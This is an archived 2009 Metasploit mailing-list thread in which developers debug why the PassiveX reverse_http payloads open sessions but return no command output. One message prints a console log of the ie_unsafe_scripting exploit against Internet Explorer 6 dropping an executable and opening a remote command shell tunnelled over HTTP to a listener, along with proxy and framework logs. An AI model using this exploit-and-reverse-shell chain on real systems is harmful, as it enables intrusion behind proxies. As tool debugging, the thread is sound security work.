No subject

[bogus () does not exist com ()]

currently breaks if DEP is enabled, so at some point we need to switch
passivex to use the same dll loading method as meterpreter's stefen
fewer's patches, but for now at least reverse_http is working again.

N

On Thu, Apr 16, 2009 at 8:29 AM, Bogdan <bogdan at generalconsult.ro> wrote:
> I think the problem is with all the PassiveX payloads, not only meterpret=
er.
> I tried windows/shell/reverse_http and windows/meterpreter/reverse_http.
> The packet capture that you mention, I posted it.
> Compared to the earlier revision used in the post with the packet capture=
,
> now the error has moved to lib/msf/core/handler/passivex.rb in class
> PxSessionChannel at the flush_output function.
> I am looking in the code to see why it throws an exception, but I am new =
to
> ruby and it might take a while.
>
> Nathan Keltner wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > A couple of weeks ago someone pasted in details from a packet capture
> > where you could see the output of commands being run being sent back
> > from the meterpreter server (running on the target).
> >
> > I still haven't had time to play with this yet, but if that is the case,
> > then this is likely a bug introduced by some of the recent meterpreter
> > updates (maybe Stephen Fewer's patches accidentally broke something).
> >
> > If you want to take a look at it, try reverting to a version of SVN
> > before r6347 and giving it another go.
> >
> > - -N
> >
> > Bogdan wrote:
> >
> > > I have tried debugging the PassiveX payload. Here are the details:
> > > metasploit from svn rev 6488 (updated Apr 16 2009).
> > > I used the ie_unsafe_scripting exploit for testing.
> > > Loglevel was set to 3.
> > > The target was Internet Explorer 6 running on Windows 2003 SP2.
> > >
> > > The payload was windows/shell/reverse_http
> > >
> > > msf exploit(ie_unsafe_scripting) > exploit
> > > [*] Exploit running as background job.
> > > msf exploit(ie_unsafe_scripting) >
> > > [*] PassiveX listener started.
> > > [*] Using URL: http://172.16.52.179:8080/testuri
> > > [*] Server started.
> > > [*] Request received from 172.16.52.179:52559...
> > > [*] Encoding payload into vbs/javascript/html...
> > > [*] Sending exploit html/javascript to 172.16.52.179:52559...
> > > [*] Exe will be uVKua.exe and must be manually removed from the %TEMP%
> > > directory on the target.
> > > [*] Sending PassiveX main page to client
> > > [*] Command shell session 1 opened (Local Pipe -> Remote Pipe)
> > > [*] Sending stage to sid 1 (474 bytes)
> > >
> > > msf exploit(ie_unsafe_scripting) > sessions -l
> > >
> > > Active sessions
> > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> > >
> > > =A0Id =A0Description =A0 =A0Tunnel
> > > =A0-- =A0----------- =A0 =A0------
> > > =A01 =A0 Command shell =A0Local Pipe -> Remote Pipe
> > >
> > > msf exploit(ie_unsafe_scripting) > sessions -i 1
> > > [*] Starting interaction with 1...
> > >
> > >
> > > dir
> > > ^Z
> > > Background session 1? [y/N] =A0y
> > >
> > > The exploit succedes and it creates a session, but when interracting
> > > with it, there is no output to the commands.
> > >
> > >
> > > Here are the lines from squid proxy logs:
> > > 1239876195.772 =A0 4561 172.16.107.174 TCP_MISS/200 1092068 GET
> > > http://172.16.52.179:8080/testuri - DIRECT/172.16.52.179 text/html
> > > 1239876197.247 =A0 =A0224 172.16.107.174 TCP_MISS/200 2693 GET
> > > http://172.16.52.179:8081/testpx - DIRECT/172.16.52.179 text/html
> > > 1239876197.753 =A0 =A0206 172.16.107.174 TCP_MISS/200 699 GET
> > > http://172.16.52.179:8081/testpx/stage - DIRECT/172.16.52.179 -
> > > 1239876201.913 =A0 4151 172.16.107.174 TCP_MISS/000 0 GET
> > > http://172.16.52.179:8081/testpx/tunnel_out - DIRECT/172.16.52.179 -
> > >
> > > As you can see the request for tunnel_out returns 0 bytes.
> > >
> > >
> > > Here are the lines from framewok.log:
> > > [04/16/2009 13:03:00] [d(2)] core: PassiveX listener started on
> > > http://172.16.52.179:8081/testpx
> > > [04/16/2009 13:03:40] [d(3)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Queuing
> > > 1 to remote side
> > > [04/16/2009 13:03:40] [d(3)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushin=
g
> > > remote output queue at 1 bytes
> > > [04/16/2009 13:03:40] [d(0)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > > Exception during remote queue flush: closed stream
> > > [04/16/2009 13:03:41] [d(3)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushin=
g
> > > remote output queue at 1 bytes
> > > [04/16/2009 13:03:41] [d(0)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > > Exception during remote queue flush: closed stream
> > > [04/16/2009 13:03:51] [d(3)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Queuing
> > > 4 to remote side
> > > [04/16/2009 13:03:51] [d(3)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushin=
g
> > > remote output queue at 5 bytes
> > > [04/16/2009 13:03:51] [d(0)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > > Exception during remote queue flush: closed stream
> > > [04/16/2009 13:03:53] [d(3)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8> Flushin=
g
> > > remote output queue at 5 bytes
> > > [04/16/2009 13:03:53] [d(0)] core:
> > > PassiveX:#<Msf::Handler::PassiveX::PxSessionChannel:0xf6b027b8>
> > > Exception during remote queue flush: closed stream
> > >
> > >
> > > I will try examining the source code to find the source of the problem.
> > > Is anyone else using the PassiveX payloads with any success? If so let
> > > us know.
> > > I think the PassiveX payloads are very important because, as far as I
> > > know, there are the only way to test a network located behind a proxy
> > > server from the outside.
> > >
> > > Bogdan
> > >
> > > _______________________________________________
> > > https://mail.metasploit.com/mailman/listinfo/framework
> >
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v2.0.10-svn4880 (MingW32)
> > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
> >
> > iEYEARECAAYFAknnIfMACgkQMQXR8VhB1pYRegCeM+m999vYkbRbOTWX4wnOwYMp
> > nREAniWXoCYanI+vOy2aFo7tAdxcoMHB
> > =3DiKBy
> > -----END PGP SIGNATURE-----